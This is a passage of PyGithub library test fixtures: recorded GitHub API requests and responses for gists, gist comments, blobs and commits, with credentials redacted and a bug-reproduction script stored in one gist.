Staff)","created_at":"2012-02-29T16:47:12Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/a40de483e42ba33bda308371c0ef8383db73be9e","change_status":{"deletions":0,"additions":52,"total":52},"committed_at":"2012-02-29T16:47:12Z","version":"a40de483e42ba33bda308371c0ef8383db73be9e","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}}]} https GET api.github.com None /gists/2729810/star {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4975'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"99914b932bd37a50b983c5e7c90ae93b"'), ('date', 'Sat, 19 May 2012 07:22:29 GMT'), ('content-type', 'application/json; charset=utf-8')] {} https PUT api.github.com None /gists/2729810/star {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4974'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:22:29 GMT')] https GET api.github.com None /gists/2729810/star {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4973'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:22:30 GMT')] https DELETE api.github.com None /gists/2729810/star {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4972'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:22:30 GMT')] https GET api.github.com None /gists/2729810/star {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4971'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"99914b932bd37a50b983c5e7c90ae93b"'), ('date', 'Sat, 19 May 2012 07:22:31 GMT'), ('content-type', 'application/json; charset=utf-8')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GistComment.setUp.txt0000644000175100001660000001114114756101563022245 0ustar00runnerdockerhttps GET api.github.com None /gists/2729810 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '3280'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b01fb6ac81527f99db9f6f586b048ee3"'), ('date', 'Sat, 19 May 2012 06:58:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-02-29T16:47:12Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","files":{"fail_github.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729810/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","size":1636,"filename":"fail_github.py","content":"import httplib\nimport base64\nimport json\n\nlogin = \"\"\npassword = \"\"\norgName = \"\"\nrepoName = \"FailGithubApi\"\n\ndef doRequest( verb, url, input ):\n input = json.dumps( input )\n cnx = httplib.HTTPSConnection( \"api.github.com\", strict = True )\n cnx.request( verb, url, input, { \"Authorization\" : \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' ) } )\n response = cnx.getresponse()\n status = response.status\n output = response.read()\n cnx.close()\n print verb, url, input, \"=>\", status, output\n print\n if status < 200 or status >= 300:\n exit( 1 )\n return json.loads( output )\n\n# Create a repo\ndoRequest( \"POST\", \"/user/repos\", { \"name\": repoName } )\n\n# Create a blob, a tree, a commit and the master branch\nb = doRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( login, repoName ),\n { \"content\": \"Content of the blob\", \"encoding\": \"latin1\" }\n)\nt = doRequest(\n \"POST\", \"/repos/%s/%s/git/trees\" % ( login, repoName ),\n { \"tree\" : [ { \"path\": \"foo.bar\", \"type\": \"blob\", \"mode\": \"100644\", \"sha\": b[\"sha\"] } ] }\n)\nc = doRequest(\n \"POST\", \"/repos/%s/%s/git/commits\" % ( login, repoName ),\n { \"parents\": [], \"message\": \"Message of the commit\", \"tree\": t[\"sha\"] }\n)\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/refs\" % ( login, repoName ),\n { \"ref\": \"refs/heads/master\", \"sha\": c[\"sha\"] }\n)\n\n# Fork the repo\ndoRequest( \"POST\", \"/repos/%s/%s/forks?org=%s\" % ( login, repoName, orgName ), None )\n\n# Create a new blob => BOOM error 500\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( orgName, repoName ),\n { \"content\": \"Content of the new blob\", \"encoding\": \"latin1\" }\n)\n","language":"Python"}},"html_url":"https://gist.github.com/2729810","git_push_url":"git@gist.github.com:2729810.git","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub Staff)","created_at":"2012-02-29T16:47:12Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/a40de483e42ba33bda308371c0ef8383db73be9e","change_status":{"deletions":0,"additions":52,"total":52},"committed_at":"2012-02-29T16:47:12Z","version":"a40de483e42ba33bda308371c0ef8383db73be9e","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}}]} https GET api.github.com None /gists/2729810/comments/323629 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '479'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4988'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"c2581153865c9b18a576589587e1fb98"'), ('date', 'Sat, 19 May 2012 07:12:31 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/2729810/comments/323629","body":"Comment created by PyGithub","created_at":"2012-05-19T07:07:57Z","updated_at":"2012-05-19T07:07:57Z","id":323629,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GistComment.testDelete.txt0000644000175100001660000000062614756101563023255 0ustar00runnerdockerhttps DELETE api.github.com None /gists/2729810/comments/323629 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4984'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:14:33 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GistComment.testEdit.txt0000644000175100001660000000201214756101563022727 0ustar00runnerdockerhttps PATCH api.github.com None /gists/2729810/comments/323629 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment edited by PyGithub"} 200 [('status', '200 OK'), ('content-length', '478'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4987'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"cea8090368993f1fb95c32cdcf4245d3"'), ('date', 'Sat, 19 May 2012 07:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/2729810/comments/323629","body":"Comment edited by PyGithub","created_at":"2012-05-19T07:07:57Z","updated_at":"2012-05-19T07:12:32Z","id":323629,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitBlob.setUp.txt0000644000175100001660000001232314756101563021341 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4971'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"cae303fffd852767651ae178cc25c7be"'), ('date', 'Thu, 10 May 2012 19:05:12 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_gists":1,"html_url":"https://github.com/jacquev6","type":"User","url":"https://api.github.com/users/jacquev6","private_gists":5,"disk_usage":16676,"collaborators":0,"plan":{"collaborators":1,"private_repos":5,"space":614400,"name":"micro"},"blog":"http://vincent-jacques.net","hireable":false,"login":"jacquev6","public_repos":10,"email":"vincent@vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","bio":"","created_at":"2010-07-09T06:10:06Z","company":"Criteo","location":"Paris, France","total_private_repos":5,"followers":13,"following":24,"name":"Vincent Jacques","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"owned_private_repos":5} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"156b4bd24ab7a88fd5e1c851f71eea20"'), ('date', 'Thu, 10 May 2012 19:05:13 GMT'), ('content-type', 'application/json; charset=utf-8')] {"homepage":"http://vincent-jacques.net/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_downloads":true,"watchers":13,"permissions":{"admin":true,"pull":true,"push":true},"has_wiki":false,"has_issues":true,"fork":false,"forks":2,"language":"Python","size":196,"description":"Python library implementing the full Github API v3","private":false,"created_at":"2012-02-25T12:53:47Z","open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"name":"PyGithub","pushed_at":"2012-05-10T18:49:21Z","id":3544490,"mirror_url":null,"ssh_url":"git@github.com:jacquev6/PyGithub.git","updated_at":"2012-05-10T18:49:21Z"} https GET api.github.com None /repos/jacquev6/PyGithub/git/blobs/53bce9fa919b4544e67275089b3ec5b44be20667 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '1987'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4b96ab346d46fbc2a409711500d54f42"'), ('date', 'Thu, 10 May 2012 19:05:16 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/53bce9fa919b4544e67275089b3ec5b44be20667","encoding":"base64","content":"IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgpmcm9tIGRpc3R1dGlscy5jb3JlIGlt\ncG9ydCBzZXR1cAppbXBvcnQgdGV4dHdyYXAKCnNldHVwKAogICAgbmFtZSA9\nICdQeUdpdGh1YicsCiAgICB2ZXJzaW9uID0gJzAuNicsCiAgICBkZXNjcmlw\ndGlvbiA9ICdVc2UgdGhlIGZ1bGwgR2l0aHViIEFQSSB2MycsCiAgICBhdXRo\nb3IgPSAnVmluY2VudCBKYWNxdWVzJywKICAgIGF1dGhvcl9lbWFpbCA9ICd2\naW5jZW50QHZpbmNlbnQtamFjcXVlcy5uZXQnLAogICAgdXJsID0gJ2h0dHA6\nLy92aW5jZW50LWphY3F1ZXMubmV0L1B5R2l0aHViJywKICAgIGxvbmdfZGVz\nY3JpcHRpb24gPSB0ZXh0d3JhcC5kZWRlbnQoICIiIlwKICAgICAgICBUdXRv\ncmlhbAogICAgICAgID09PT09PT09CgogICAgICAgIEZpcnN0IGNyZWF0ZSBh\nIEdpaHViIGluc3RhbmNlOjoKCiAgICAgICAgICAgIGZyb20gZ2l0aHViIGlt\ncG9ydCBHaXRodWIKCiAgICAgICAgICAgIGcgPSBHaXRodWIoICJ1c2VyIiwg\nInBhc3N3b3JkIiApCgogICAgICAgIFRoZW4gcGxheSB3aXRoIHlvdXIgR2l0\naHViIG9iamVjdHM6OgoKICAgICAgICAgICAgZm9yIHJlcG8gaW4gZy5nZXRf\ndXNlcigpLmdldF9yZXBvcygpOgogICAgICAgICAgICAgICAgcHJpbnQgcmVw\nby5uYW1lCiAgICAgICAgICAgICAgICByZXBvLmVkaXQoIGhhc193aWtpID0g\nRmFsc2UgKQoKICAgICAgICBSZWZlcmVuY2UgZG9jdW1lbnRhdGlvbgogICAg\nICAgID09PT09PT09PT09PT09PT09PT09PT09CgogICAgICAgIFNlZSBodHRw\nOi8vdmluY2VudC1qYWNxdWVzLm5ldC9QeUdpdGh1YiIiIiApLAogICAgcGFj\na2FnZXMgPSBbCiAgICAgICAgJ2dpdGh1YicsCiAgICAgICAgJ2dpdGh1Yi5H\naXRodWJPYmplY3RzJywKICAgICAgICAnZ2l0aHViLkdpdGh1Yk9iamVjdHMu\nR2l0aHViT2JqZWN0JywKICAgIF0sCiAgICBjbGFzc2lmaWVycz1bCiAgICAg\nICAgIkRldmVsb3BtZW50IFN0YXR1cyA6OiA0IC0gQmV0YSIsCiAgICAgICAg\nIkVudmlyb25tZW50IDo6IFdlYiBFbnZpcm9ubWVudCIsCiAgICAgICAgIklu\ndGVuZGVkIEF1ZGllbmNlIDo6IERldmVsb3BlcnMiLAogICAgICAgICJMaWNl\nbnNlIDo6IE9TSSBBcHByb3ZlZCA6OiBHTlUgTGlicmFyeSBvciBMZXNzZXIg\nR2VuZXJhbCBQdWJsaWMgTGljZW5zZSAoTEdQTCkiLAogICAgICAgICJPcGVy\nYXRpbmcgU3lzdGVtIDo6IE9TIEluZGVwZW5kZW50IiwKICAgICAgICAiUHJv\nZ3JhbW1pbmcgTGFuZ3VhZ2UgOjogUHl0aG9uIiwKICAgICAgICAiVG9waWMg\nOjogU29mdHdhcmUgRGV2ZWxvcG1lbnQiLAogICAgXSwKKQo=\n","size":1295,"sha":"53bce9fa919b4544e67275089b3ec5b44be20667"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitCommit.setUp.txt0000644000175100001660000003145414756101563021721 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 17:14:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1b88c089a1e6863e1ce80f34340070e2ac596331034a24535f079d3af895faa2"'), ('Last-Modified', 'Fri, 03 Jan 2025 05:23:15 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1735927338'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '9816:12E656:1DDDFEE8:1EA5D038:67781B0E')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T05:23:15Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7115,"watchers_count":7115,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7115,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/git/commits/3d84a47a88f6757514cb3ee91b829f53ba09e7e0 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 17:14:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f1c85d4878dfa7520cb01904b5df8996cb693e4c49b993818733fe3d5efe1614"'), ('Last-Modified', 'Wed, 18 Dec 2024 10:40:19 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1735927338'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '981E:521E5:224BE37D:232D151B:67781B0E')] {"sha":"3d84a47a88f6757514cb3ee91b829f53ba09e7e0","node_id":"C_kwDOADYVqtoAKDNkODRhNDdhODhmNjc1NzUxNGNiM2VlOTFiODI5ZjUzYmEwOWU3ZTA","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/3d84a47a88f6757514cb3ee91b829f53ba09e7e0","html_url":"https://github.com/PyGithub/PyGithub/commit/3d84a47a88f6757514cb3ee91b829f53ba09e7e0","author":{"name":"Enrico Minack","email":"github@enrico.minack.dev","date":"2024-12-18T10:40:19Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2024-12-18T10:40:19Z"},"tree":{"sha":"d9e2468f2db35e158eb65e91b249dde20ca88c86","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/d9e2468f2db35e158eb65e91b249dde20ca88c86"},"message":"Get branches where commit is head (#3083)\n\nImplements `GET\r\n/repos/{owner}/{repo}/commits/{commit_sha}/branches-where-head`\r\n\r\nhttps://docs.github.com/rest/commits/commits#list-branches-for-head-commit","parents":[{"sha":"a50ae51b2c351b889055568bcaa9ab6000f1677f","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a50ae51b2c351b889055568bcaa9ab6000f1677f","html_url":"https://github.com/PyGithub/PyGithub/commit/a50ae51b2c351b889055568bcaa9ab6000f1677f"}],"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP 